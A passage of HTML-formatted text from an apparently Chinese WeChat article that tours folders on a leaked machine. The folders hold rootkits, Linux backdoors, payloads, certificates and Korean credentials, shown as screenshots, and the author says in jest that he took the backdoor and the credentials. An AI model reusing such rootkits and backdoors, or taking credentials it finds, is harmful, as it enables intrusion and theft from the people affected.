unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Desktop\desktop\uni_certs</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">存储了一堆证书文件</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.7361111111111112" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8e6c7607&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0gXOX4xzPzXpRCYicywCplLHIfsZ1rje9toRxMurwia1qCq8EjeEGxTGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Desktop\tomcat20220420_rootkit\tomcat20220420_rootkit</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">看路径，知功能</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.5796296296296296" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2fe0234c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0naR7mRmPFvnVzJEIibUy7mfptDKrL1MICxDq6NPO8F7JibWktxrAOpkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其中的自动化执行脚本一眼丁真</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Desktop\0128\0128</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">一眼构建好的payload，看见就跟回老家似的一样熟悉</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.5888888888888889" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6f57830f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt06GQ5QxILoFhJD7iaJR7iasNM7tpoHWiaCqpGhOrP45MicGtkfeia6yTcMqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Desktop\backdoor\20220812</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Linux后门</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.6425925925925926" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=621fd71f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0llRCqpsy9D9dGv77VyOHlzbj7qJW6coTicxP00KuxrBXTCd2N8yQl7g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">linux-inject-master明显是这个工具：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://github.com/gaffe23/linux-inject/" target="_blank">https://github.com/gaffe23/linux-inject/</a></span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Desktop\backdoor\20230201</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Linux后门</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.38981481481481484" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f9b6a697&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0xfC9fXE1HES9UNC0sJBiaIibbibnxH3u75YNlj52vicNdscV9tfVIkTIHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">严禁不合规的使用，严禁对外传播。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">偷了！</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Downloads\toybox\third_party_toybox</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">明显是 <a href="https://landley.net/toybox/" target="_blank">https://landley.net/toybox/</a> 开源代码</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">简单来说，Toybox 是一个集成了众多标 Linux 命令行工具（如 ls, cat, ps, grep 等）于一体的、轻量级的、遵循许可证规范的单一可执行文件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">暂时不知道他们用来干嘛。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">C:\Users\Administrator\Desktop\work\work\home\user\Downloads\cert</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">原本一眼是下载的证书目录，结果还有专属的韩国凭据啥的，拿了😋</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.7129629629629629" data-w="1080" 